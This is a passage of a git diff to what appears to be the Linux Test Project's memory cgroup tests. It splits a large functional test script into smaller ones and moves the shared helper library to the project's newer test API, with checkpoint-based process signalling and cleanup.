 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/libcontrollers/Makefile b/testcases/kernel/controllers/libcontrollers/Makefile
index 7762ce0..88918cf 100644
--- a/testcases/kernel/controllers/libcontrollers/Makefile
+++ b/testcases/kernel/controllers/libcontrollers/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/memcg/.gitignore b/testcases/kernel/controllers/memcg/.gitignore
index 6f62034..8730251 100644
--- a/testcases/kernel/controllers/memcg/.gitignore
+++ b/testcases/kernel/controllers/memcg/.gitignore
@@ -1,5 +1,4 @@
 /control/mem_process
-/functional/memcg_getpagesize
 /functional/memcg_process
 /regression/memcg_test_1
 /regression/memcg_test_2
diff --git a/testcases/kernel/controllers/memcg/Makefile b/testcases/kernel/controllers/memcg/Makefile
index df1c98a..74a67b2 100644
--- a/testcases/kernel/controllers/memcg/Makefile
+++ b/testcases/kernel/controllers/memcg/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/controllers/memcg/control/Makefile b/testcases/kernel/controllers/memcg/control/Makefile
index 0dbc994..a0456ac 100644
--- a/testcases/kernel/controllers/memcg/control/Makefile
+++ b/testcases/kernel/controllers/memcg/control/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/controllers/memcg/control/mem_process.c b/testcases/kernel/controllers/memcg/control/mem_process.c
index 48cdea8..9007c2c 100644
--- a/testcases/kernel/controllers/memcg/control/mem_process.c
+++ b/testcases/kernel/controllers/memcg/control/mem_process.c
@@ -60,9 +60,6 @@
 			if (*end != '\0')
 				errx(2, "invalid -m usage");
 			break;
-		case 'p':
-			printf("%d\n", getpagesize());
-			exit(0);
 		default:
 			errx(2, "invalid option specifed");
 		}
diff --git a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
index 168efe3..1d15872 100644
--- a/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
+++ b/testcases/kernel/controllers/memcg/control/memcg_control_test.sh
@@ -41,9 +41,11 @@
 export TMP=${TMP:-/tmp}
 cd $TMP
 
-TOT_MEM_LIMIT=$1
-ACTIVE_MEM_LIMIT=$2
-PROC_MEM=$3
+PAGE_SIZE=$(getconf PAGESIZE)
+
+TOT_MEM_LIMIT=$PAGE_SIZE
+ACTIVE_MEM_LIMIT=$PAGE_SIZE
+PROC_MEM=$((PAGE_SIZE * 2))
 
 TST_PATH=$PWD
 STATUS_PIPE="$TMP/status_pipe"
diff --git a/testcases/kernel/controllers/memcg/functional/Makefile b/testcases/kernel/controllers/memcg/functional/Makefile
index 0a25029..c4ae9f4 100644
--- a/testcases/kernel/controllers/memcg/functional/Makefile
+++ b/testcases/kernel/controllers/memcg/functional/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../../..
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
new file mode 100755
index 0000000..d5034a5
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/functional/memcg_failcnt.sh
@@ -0,0 +1,58 @@
+#!/bin/sh
+
+################################################################################
+##                                                                            ##
+## Copyright (c) 2009 FUJITSU LIMITED                                         ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
+## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
+## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
+##						<risrajak@linux.vnet.ibm.com  ##
+##                                                                            ##
+################################################################################
+
+TCID="memcg_failcnt"
+TST_TOTAL=3
+
+. memcg_lib.sh
+
+# Test memory.failcnt
+testcase_1()
+{
+	echo $PAGESIZE > memory.limit_in_bytes
+	malloc_free_memory "--mmap-anon" $(($PAGESIZE*2))
+	test_failcnt "memory.failcnt"
+}
+
+testcase_2()
+{
+	echo $PAGESIZE > memory.limit_in_bytes
+	malloc_free_memory "--mmap-file" $(($PAGESIZE*2))
+	test_failcnt "memory.failcnt"
+}
+
+testcase_3()
+{
+	echo $PAGESIZE > memory.limit_in_bytes
+	malloc_free_memory "--shm" $(($PAGESIZE*2))
+	test_failcnt "memory.failcnt"
+}
+
+shmmax_setup
+LOCAL_CLEANUP=shmmax_cleanup
+run_tests
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
new file mode 100755
index 0000000..cb475ac
--- /dev/null
+++ b/testcases/kernel/controllers/memcg/functional/memcg_force_empty.sh
@@ -0,0 +1,77 @@
+#!/bin/sh
+
+################################################################################
+##                                                                            ##
+## Copyright (c) 2009 FUJITSU LIMITED                                         ##
+##                                                                            ##
+## This program is free software;  you can redistribute it and#or modify      ##
+## it under the terms of the GNU General Public License as published by       ##
+## the Free Software Foundation; either version 2 of the License, or          ##
+## (at your option) any later version.                                        ##
+##                                                                            ##
+## This program is distributed in the hope that it will be useful, but        ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
+## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
+## for more details.                                                          ##
+##                                                                            ##
+## You should have received a copy of the GNU General Public License          ##
+## along with this program;  if not, write to the Free Software Foundation,   ##
+## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
+##                                                                            ##
+## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
+## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
+## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
+##						<risrajak@linux.vnet.ibm.com  ##
+##                                                                            ##
+################################################################################
+
+TCID="memcg_force_empty"
+TST_TOTAL=6
+
+. memcg_lib.sh
+
+# Test memory.force_empty
+testcase_1()
+{
+	memcg_process --mmap-anon -s $PAGESIZE &
+	pid=$!
+	TST_CHECKPOINT_WAIT 0
+	echo $pid > tasks
+	signal_memcg_process $pid $PAGESIZE
+	echo $pid > ../tasks
+
+	# This expects that there is swap configured
+	EXPECT_PASS echo 1 \> memory.force_empty
+
+	stop_memcg_process $pid
+}
+
+testcase_2()
+{
+	EXPECT_PASS echo 0 \> memory.force_empty
+}
+
+testcase_3()
+{
+	EXPECT_PASS echo 1.0 \> memory.force_empty
+}
+
+testcase_4()
+{
+	EXPECT_PASS echo 1xx \> memory.force_empty
+}
+
+testcase_5()
+{
+	EXPECT_PASS echo xx \> memory.force_empty
+}
+
+testcase_6()
+{
+	# writing to non-empty top mem cgroup's force_empty
+	# should return failure
+	EXPECT_FAIL echo 1 \> /dev/memcg/memory.force_empty
+}
+
+run_tests
+tst_exit
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_function_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_function_test.sh
deleted file mode 100755
index 2c2f32a..0000000
--- a/testcases/kernel/controllers/memcg/functional/memcg_function_test.sh
+++ /dev/null
@@ -1,332 +0,0 @@
-#! /bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (c) 2009 FUJITSU LIMITED                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-## Author: Li Zefan <lizf@cn.fujitsu.com>                                     ##
-## Restructure for LTP: Shi Weihua <shiwh@cn.fujitsu.com>                     ##
-## Added memcg enable/disable functinality: Rishikesh K Rajak		      ##
-##						<risrajak@linux.vnet.ibm.com  ##
-##                                                                            ##
-################################################################################
-
-export TCID="memcg_function_test"
-export TST_TOTAL=38
-export TST_COUNT=0
-
-. memcg_lib.sh || exit 1
-
-# Case 1 - 10: Test the management and counting of memory
-testcase_1()
-{
-	test_mem_stat "--mmap-anon" $PAGESIZE "rss" $PAGESIZE 0
-}
-
-testcase_2()
-{
-	test_mem_stat "--mmap-file" $PAGESIZE "rss" 0 0
-}
-
-testcase_3()
-{
-	test_mem_stat "--shm -k 3" $PAGESIZE "rss" 0 0
-}
-
-testcase_4()
-{
-	test_mem_stat "--mmap-anon --mmap-file --shm" $PAGESIZE "rss" \
-		$PAGESIZE 0
-}
-
-testcase_5()
-{
-	test_mem_stat "--mmap-lock1" $PAGESIZE "rss" $PAGESIZE 0
-}
-
-testcase_6()
-{
-	test_mem_stat "--mmap-anon" $PAGESIZE "rss" $PAGESIZE 1
-}
-
-testcase_7()
-{
-	test_mem_stat "--mmap-file" $PAGESIZE "rss" 0 1
-}
-
-testcase_8()
-{
-	test_mem_stat "--shm -k 8" $PAGESIZE "rss" 0 1
-}
-
-testcase_9()
-{
-	test_mem_stat "--mmap-anon --mmap-file --shm" $PAGESIZE "rss" \
-		$PAGESIZE 1
-}
-
-testcase_10()
-{
-	test_mem_stat "--mmap-lock1" $PAGESIZE "rss" $PAGESIZE 1
-}
-
-# Case 11 - 13: Test memory.failcnt
-testcase_11()
-{
-	echo $PAGESIZE > memory.limit_in_bytes
-	malloc_free_memory "--mmap-anon" $(($PAGESIZE*2))
-	test_failcnt "memory.failcnt"
-}
-
-testcase_12()
-{
-	echo $PAGESIZE > memory.limit_in_bytes
-	malloc_free_memory "--mmap-file" $(($PAGESIZE*2))
-	test_failcnt "memory.failcnt"
-}
-
-testcase_13()
-{
-	echo $PAGESIZE > memory.limit_in_bytes
-	malloc_free_memory "--shm" $(($PAGESIZE*2))
-	test_failcnt "memory.failcnt"
-}
-
-# Case 14 - 15: Test mmap(locked) + alloc_mem > limit_in_bytes
-testcase_14()
-{
-	test_proc_kill $PAGESIZE "--mmap-lock1" $((PAGESIZE*2)) 0
-}
-
-testcase_15()
-{
-	test_proc_kill $PAGESIZE "--mmap-lock2" $((PAGESIZE*2)) 0
-}
-
-# Case 16 - 18: Test swapoff + alloc_mem > limi_in_bytes
-testcase_16()
-{
-	swapoff -a
-	test_proc_kill $PAGESIZE "--mmap-anon" $((PAGESIZE*2)) 0
-	swapon -a
-}
-
-testcase_17()
-{
-	swapoff -a
-	test_proc_kill $PAGESIZE "--mmap-file" $((PAGESIZE*2)) 0
-	swapon -a
-}
-
-testcase_18()
-{
-	swapoff -a
-	test_proc_kill $PAGESIZE "--shm -k 18" $((PAGESIZE*2)) 0
-	swapon -a
-}
-
-# Case 19 - 21: Test limit_in_bytes == 0
-testcase_19()
-{
-	test_proc_kill 0 "--mmap-anon" $PAGESIZE 0
-}
-
-testcase_20()
-{
-	test_proc_kill 0 "--mmap-file" $PAGESIZE 0
-}
-
-testcase_21()
-{
-	test_proc_kill 0 "--shm -k 21" $PAGESIZE 0
-}
-
-# Case 22 - 24: Test limit_in_bytes will be aligned to PAGESIZE
-testcase_22()
-{
-	test_limit_in_bytes $((PAGESIZE-1)) 0
-}
-
-testcase_23()
-{
-	test_limit_in_bytes $((PAGESIZE+1)) 0
-}
-
-testcase_24()
-{
-	test_limit_in_bytes 1 0
-}
-
-# Case 25 - 28: Test invaild memory.limit_in_bytes
-testcase_25()
-{
-	echo -1 > memory.limit_in_bytes 2> /dev/null
-	ret=$?
-	tst_kvercmp 2 6 31
-	if [ $? -eq 0 ]; then
-		result $(( !($ret != 0) ))  "return value is $ret"
-	else
-		result $(( !($ret == 0) ))  "return value is $ret"
-	fi
-}
-
-testcase_26()
-{
-	echo 1.0 > memory.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
-}
-
-testcase_27()
-{
-	echo 1xx > memory.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
-}
-
-testcase_28()
-{
-	echo xx > memory.limit_in_bytes 2> /dev/null
-	result $(( !($? != 0) )) "return value is $?"
-}
-
-# Case 29 - 35: Test memory.force_empty
-testcase_29()
-{
-	$TEST_PATH/memcg_process --mmap-anon -s $PAGESIZE &
-	pid=$!
-	sleep 1
-	echo $pid > tasks
-	kill -s USR1 $pid 2> /dev/null
-	sleep 1
-	echo $pid > ../tasks
-
-	# This expects that there is swap configured
-	echo 1 > memory.force_empty
-	if [ $? -eq 0 ]; then
-		result $PASS "force memory succeeded"
-	else
-		result $FAIL "force memory failed"
-	fi
-
-	kill -s INT $pid 2> /dev/null
-}
-
-testcase_30()
-{
-	$TEST_PATH/memcg_process --mmap-lock2 -s $PAGESIZE &
-	pid=$!
-	sleep 1
-	echo $pid > tasks
-	kill -s USR1 $pid 2> /dev/null
-	sleep 1
-
-	echo 1 > memory.force_empty 2> /dev/null
-	if [ $? -ne 0 ]; then
-		result $PASS "force memory failed as expected"
-	else
-		result $FAIL "force memory should fail"
-	fi
-
-	kill -s INT $pid 2> /dev/null
-}
-
-testcase_31()
-{
-	echo 0 > memory.force_empty 2> /dev/null
-	result $? "return value is $?"
-}
-
-testcase_32()
-{
-	echo 1.0 > memory.force_empty 2> /dev/null
-	result $? "return value is $?"
-}
-
-testcase_33()
-{
-	echo 1xx > memory.force_empty 2> /dev/null
-	result $? "return value is $?"
-}
-
-testcase_34()
-{
-	echo xx > memory.force_empty 2> /dev/null
-	result $? "return value is $?"
-}
-
-testcase_35()
-{
-	# writing to non-empty top mem cgroup's force_empty
-	# should return failure
-	echo 1 > /dev/memcg/memory.force_empty 2> /dev/null
-	result $(( !$? )) "return value is $?"
-}
-
-# Case 36 - 38: Test that group and subgroup have no relationship
-testcase_36()
-{
-	test_subgroup $PAGESIZE $((2*PAGESIZE))
-}
-
-testcase_37()
-{
-	test_subgroup $PAGESIZE $PAGESIZE
-}
-
-testcase_38()
-{
-	test_subgroup $PAGESIZE 0
-}
-
-shmmax=`cat /proc/sys/kernel/shmmax`
-if [ $shmmax -lt $HUGEPAGESIZE ]; then
-	echo $(($HUGEPAGESIZE)) > /proc/sys/kernel/shmmax
-fi
-
-# Run all the test cases
-for i in $(seq 1 $TST_TOTAL)
-do
-	export TST_COUNT=$(( $TST_COUNT + 1 ))
-	cur_id=$i
-
-	do_mount
-	if [ $? -ne 0 ]; then
-		echo "Cannot create memcg"
-		exit 1
-	fi
-
-	# prepare
-	mkdir /dev/memcg/$i 2> /dev/null
-	cd /dev/memcg/$i
-
-	# run the case
-	testcase_$i
-
-	# clean up
-	sleep 1
-	cd $TEST_PATH
-	rmdir /dev/memcg/$i
-
-	cleanup
-done
-
-echo $shmmax > /proc/sys/kernel/shmmax
-
-if [ $failed -ne 0 ]; then
-	exit $failed
-else
-	exit 0
-fi
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_getpagesize.c b/testcases/kernel/controllers/memcg/functional/memcg_getpagesize.c
deleted file mode 100644
index 557b540..0000000
--- a/testcases/kernel/controllers/memcg/functional/memcg_getpagesize.c
+++ /dev/null
@@ -1,30 +0,0 @@
-/******************************************************************************/
-/*                                                                            */
-/* Copyright (c) 2009 FUJITSU LIMITED                                         */
-/*                                                                            */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.                                        */
-/*                                                                            */
-/* This program is distributed in the hope that it will be useful,            */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of            */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  */
-/* the GNU General Public License for more details.                           */
-/*                                                                            */
-/* You should have received a copy of the GNU General Public License          */
-/* along with this program;  if not, write to the Free Software               */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*                                                                            */
-/* Author: Li Zefan <lizf@cn.fujitsu.com>                                     */
-/*                                                                            */
-/******************************************************************************/
-
-#include <unistd.h>
-#include <stdio.h>
-
-int main(void)
-{
-	printf("%d\n", getpagesize());
-	return 0;
-}
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
index c90d0a2..b785fe3 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
@@ -22,40 +22,71 @@
 ##                                                                            ##
 ################################################################################
 
+TST_NEEDS_CHECKPOINTS=1
+. test.sh
+
 if [ "x$(grep -w memory /proc/cgroups | cut -f4)" != "x1" ]; then
-	echo "WARNING:";
-	echo "Either Kernel does not support for memory resource controller or feature not enabled";
-	echo "Skipping all memcgroup testcases....";
-	exit 0
+	tst_brkm TCONF "Kernel does not support the memory resource controller"
 fi
 
-cd $LTPROOT/testcases/bin
+PAGESIZE=$(getconf PAGESIZE)
+if [ $? -ne 0 ]; then
+	tst_brkm TBROK "getconf PAGESIZE failed"
+fi
 
-TEST_PATH=$PWD
-PAGESIZE=`./memcg_getpagesize`
-HUGEPAGESIZE=`grep Hugepagesize /proc/meminfo | awk '{ print $2 }'`
+HUGEPAGESIZE=$(awk '/Hugepagesize/ {print $2}' /proc/meminfo)
 [ -z $HUGEPAGESIZE ] && HUGEPAGESIZE=0
 HUGEPAGESIZE=$(( $HUGEPAGESIZE * 1024 ))
-PASS=0
-FAIL=1
 orig_memory_use_hierarchy=""
 
-cur_id=0
-failed=0
+MEMSW_USAGE_FLAG=0
+MEMSW_LIMIT_FLAG=0
 
-# Record the test result of a test case
-# $1 - The result of the test case, $PASS or $FAIL
-# $2 - The output information
-result()
+tst_tmpdir
+TMP_DIR="$PWD"
+
+cleanup()
 {
-	local pass=$1
-	local info="$2"
+	if [ -n "$LOCAL_CLEANUP" ]; then
+		$LOCAL_CLEANUP
+	fi
 
-	if [ $pass -eq $PASS ]; then
-		tst_resm TPASS "$info"
-	else
-		tst_resm TFAIL "$info"
-		: $(( failed += 1 ))
+	killall -9 memcg_process 2> /dev/null
+	wait
+
+	cd "$TMP_DIR"
+
+	if [ -n "$TEST_ID" -a -d "/dev/memcg/$TEST_ID" ]; then
+		for i in "/dev/memcg/$TEST_ID/"*; do
+			if [ -d "$i" ]; then
+				rmdir "$i"
+			fi
+		done
+
+		rmdir "/dev/memcg/$TEST_ID"
+	fi
+
+	if [ -d "/dev/memcg" ]; then
+		umount /dev/memcg
+		rmdir /dev/memcg
+	fi
+
+	tst_rmdir
+}
+TST_CLEANUP=cleanup
+
+shmmax_setup()
+{
+	shmmax=`cat /proc/sys/kernel/shmmax`
+	if [ $shmmax -lt $HUGEPAGESIZE ]; then
+		ROD echo "$HUGEPAGESIZE" \> /proc/sys/kernel/shmmax
+	fi
+}
+
+shmmax_cleanup()
+{
+	if [ -n "$shmmax" ]; then
+		echo "$shmmax" > /proc/sys/kernel/shmmax
 	fi
 }
 
@@ -71,30 +102,68 @@
 	fi
 
 	if [ "$2" = "$item_size" ]; then
-		pass=$PASS
+		tst_resm TPASS "$1 is $2 as expected"
 	else
-		pass=$FAIL
+		tst_resm TFAIL "$1 is $item_size, $2 expected"
+	fi
+}
+
+signal_memcg_process()
+{
+	local pid=$1
+	local size=$2
+	local path=$3
+	local usage_start=$(cat ${path}memory.usage_in_bytes)
+
+	kill -s USR1 $pid 2> /dev/null
+
+	if [ -z "$size" ]; then
+		return
 	fi
 
-	result $pass "$1=$item_size/$2"
+	local loops=100
+
+	while kill -0 $pid 2> /dev/null; do
+		local usage=$(cat ${path}memory.usage_in_bytes)
+		local diff_a=$((usage_start - usage))
+		local diff_b=$((usage - usage_start))
+
+		if [ "$diff_a" -ge "$size" -o "$diff_b" -ge "$size" ]; then
+			return
+		fi
+
+		tst_sleep 100ms
+
+		loops=$((loops - 1))
+		if [ $loops -le 0 ]; then
+			tst_brkm TBROK "timeouted on memory.usage_in_bytes"
+		fi
+	done
+}
+
+stop_memcg_process()
+{
+	local pid=$1
+	kill -s INT $pid 2> /dev/null
+	wait $pid
 }
 
 warmup()
 {
-	pid=$1
+	local pid=$1
 
-	echo "Warming up for test: $cur_id, pid: $pid"
-	kill -s USR1 $pid 2> /dev/null
-	sleep 1
-	kill -s USR1 $pid 2> /dev/null
+	tst_resm TINFO "Warming up pid: $pid"
+	signal_memcg_process $pid
+	signal_memcg_process $pid
 	sleep 1
 
 	kill -0 $pid
 	if [ $? -ne 0 ]; then
-		result $FAIL "cur_id=$cur_id"
+		wait $pid
+		tst_resm TFAIL "Process $pid exited with $? after warm up"
 		return 1
 	else
-		echo "Process is still here after warm up: $pid"
+		tst_resm TINFO "Process is still here after warm up: $pid"
 	fi
 
 	return 0
@@ -102,16 +171,18 @@
 
 # Run test cases which checks memory.stat after make
 # some memory allocation
-# $1 - the parameters of 'process', such as --shm
-# $2 - the -s parameter of 'process', such as 4096
-# $3 - item name in memory.stat
-# $4 - the expected size
-# $5 - check after free ?
 test_mem_stat()
 {
-	echo "Running $TEST_PATH/memcg_process $1 -s $2"
-	$TEST_PATH/memcg_process $1 -s $2 &
-	sleep 1
+	local memtypes="$1"
+	local size=$2
+	local total_size=$3
+	local stat_name=$4
+	local exp_stat_size=$5
+	local check_after_free=$6
+
+	tst_resm TINFO "Running memcg_process $memtypes -s $size"
+	memcg_process $memtypes -s $size &
+	TST_CHECKPOINT_WAIT 0
 
 	warmup $!
 	if [ $? -ne 0 ]; then
@@ -119,18 +190,16 @@
 	fi
 
 	echo $! > tasks
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
+	signal_memcg_process $! $size
 
-	check_mem_stat $3 $4
+	check_mem_stat $stat_name $exp_stat_size
 
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
-	if [ $5 -eq 1 ]; then
-		check_mem_stat $3 0
+	signal_memcg_process $! $size
+	if $check_after_free; then
+		check_mem_stat $stat_name 0
 	fi
 
-	kill -s INT $! 2> /dev/null
+	stop_memcg_process $!
 }
 
 # Run test cases which checks memory.max_usage_in_bytes after make
@@ -142,9 +211,9 @@
 # $5 - check after free ?
 test_max_usage_in_bytes()
 {
-	echo "Running $TEST_PATH/memcg_process $1 -s $2"
-	$TEST_PATH/memcg_process $1 -s $2 &
-	sleep 1
+	tst_resm TINFO "Running memcg_process $1 -s $2"
+	memcg_process $1 -s $2 &
+	TST_CHECKPOINT_WAIT 0
 
 	warmup $!
 	if [ $? -ne 0 ]; then
@@ -152,11 +221,8 @@
 	fi
 
 	echo $! > tasks
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
-
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
+	signal_memcg_process $! $2
+	signal_memcg_process $! $2
 
 	check_mem_stat $3 $4
 
@@ -165,7 +231,7 @@
 		check_mem_stat $3 0
 	fi
 
-	kill -s INT $! 2> /dev/null
+	stop_memcg_process $!
 }
 
 # make some memory allocation
@@ -173,18 +239,15 @@
 # $2 - the -s parameter of 'process', such as 4096
 malloc_free_memory()
 {
-	echo "Running $TEST_PATH/memcg_process $1 -s $2"
-	$TEST_PATH/memcg_process $1 -s $2 &
-	sleep 1
+	tst_resm TINFO "Running memcg_process $1 -s $2"
+	memcg_process $1 -s $2 &
+	TST_CHECKPOINT_WAIT 0
 
 	echo $! > tasks
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
+	signal_memcg_process $! $2
+	signal_memcg_process $! $2
 
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
-
-	kill -s INT $! 2> /dev/null
+	stop_memcg_process $!
 }
 
 # Test if failcnt > 0, which means page reclamation occured
@@ -193,12 +256,10 @@
 {
 	failcnt=`cat $1`
 	if [ $failcnt -gt 0 ]; then
-		pass=$PASS
+		tst_resm TPASS "$1 is $failcnt, > 0 as expected"
 	else
-		pass=$FAIL
+		tst_resm TFAIL "$1 is $failcnt, <= 0 expected"
 	fi
-
-	result $pass "$1=$failcnt"
 }
 
 # Test process will be killed due to exceed memory limit
@@ -218,28 +279,37 @@
 		fi
 	fi
 
-	$TEST_PATH/memcg_process $2 -s $3 &
+	memcg_process $2 -s $3 &
 	pid=$!
-	sleep 1
+	TST_CHECKPOINT_WAIT 0
 	echo $pid > tasks
 
-	kill -s USR1 $pid 2> /dev/null
-	sleep 1
+	signal_memcg_process $pid $3
 
-	ps -p $pid > /dev/null 2> /dev/null
-	if [ $? -ne 0 ]; then
+	tpk_pid_exists=1
+	for tpk_iter in $(seq 20); do
+		if [ ! -d "/proc/$pid" ] ||
+			grep -q 'Z (zombie)' "/proc/$pid/status"; then
+			tpk_pid_exists=0
+			break
+		fi
+
+		tst_sleep 250ms
+	done
+
+	if [ $tpk_pid_exists -eq 0 ]; then
 		wait $pid
 		ret=$?
 		if [ $ret -eq 1 ]; then
-			result $FAIL "process $pid is killed by error"
+			tst_resm TFAIL "process $pid is killed by error"
 		elif [ $ret -eq 2 ]; then
-			result $PASS "Failed to lock memory"
+			tst_resm TPASS "Failed to lock memory"
 		else
-			result $PASS "process $pid is killed"
+			tst_resm TPASS "process $pid is killed"
 		fi
 	else
-		kill -s INT $pid 2> /dev/null
-		result $FAIL "process $pid is not killed"
+		stop_memcg_process $!
+		tst_resm TFAIL "process $pid is not killed"
 	fi
 }
 
@@ -265,12 +335,14 @@
 	# are rounding down
 	if [ \( $(($PAGESIZE*($1/$PAGESIZE))) -eq $limit \) \
 	    -o \( $(($PAGESIZE*(($1+$PAGESIZE-1)/$PAGESIZE))) -eq $limit \) ]; then
-		result $PASS "input=$1, limit_in_bytes=$limit"
+		tst_resm TPASS "input=$1, limit_in_bytes=$limit"
 	else
-		result $FAIL "input=$1, limit_in_bytes=$limit"
+		tst_resm TFAIL "input=$1, limit_in_bytes=$limit"
 	fi
 }
 
+# Never used, so untested
+#
 # Test memory controller doesn't charge hugepage
 # $1 - the value of /proc/sys/vm/nr_hugepages
 # $2 - the parameters of 'process', --mmap-file or --shm
@@ -278,7 +350,7 @@
 # $4 - 0: expected failure, 1: expected success
 test_hugepage()
 {
-	TMP_FILE=$TEST_PATH/tmp
+	TMP_FILE="$TMP_DIR/tmp"
 	nr_hugepages=`cat /proc/sys/vm/nr_hugepages`
 
 	mkdir /hugetlb
@@ -286,11 +358,10 @@
 
 	echo $1 > /proc/sys/vm/nr_hugepages
 
-	$TEST_PATH/memcg_process $2 --hugepage -s $3 > $TMP_FILE 2>&1 &
-	sleep 1
+	memcg_process $2 --hugepage -s $3 > $TMP_FILE 2>&1 &
+	TST_CHECKPOINT_WAIT 0
 
-	kill -s USR1 $! 2> /dev/null
-	sleep 1
+	signal_memcg_process $! $3
 
 	check_mem_stat "rss" 0
 
@@ -300,20 +371,20 @@
 	if [ $4 -eq 0 ]; then
 		test -s $TMP_FILE
 		if [ $? -eq 0 ]; then
-			result $PASS "allocate hugepage failed as expected"
+			tst_resm TPASS "allocate hugepage failed as expected"
 		else
-			kill -s USR1 $! 2> /dev/null
-			kill -s INT $! 2> /dev/null
-			result $FAIL "allocate hugepage shoud fail"
+			signal_memcg_process $! $3
+			stop_memcg_process $!
+			tst_resm TFAIL "allocate hugepage should fail"
 		fi
 	else
 		test ! -s $TMP_FILE
 		if [ $? -eq 0 ]; then
-			kill -s USR1 $! 2> /dev/null
-			kill -s INT $! 2> /dev/null
-			result $PASS "allocate hugepage succeeded"
+			signal_memcg_process $! $3
+			stop_memcg_process $!
+			tst_resm TPASS "allocate hugepage succeeded"
 		else
-			result $FAIL "allocate hugepage failed"
+			tst_resm TFAIL "allocate hugepage failed"
 		fi
 	fi
 
@@ -333,18 +404,17 @@
 	echo $1 > memory.limit_in_bytes
 	echo $2 > subgroup/memory.limit_in_bytes
 
-	echo "Running $TEST_PATH/memcg_process --mmap-anon -s $PAGESIZE"
-	$TEST_PATH/memcg_process --mmap-anon -s $PAGESIZE &
-	sleep 1
+	tst_resm TINFO "Running memcg_process --mmap-anon -s $PAGESIZE"
+	memcg_process --mmap-anon -s $PAGESIZE &
+	TST_CHECKPOINT_WAIT 0
 
-	warmup $!
+	warmup $! $PAGESIZE
 	if [ $? -ne 0 ]; then
 		return
 	fi
 
 	echo $! > tasks
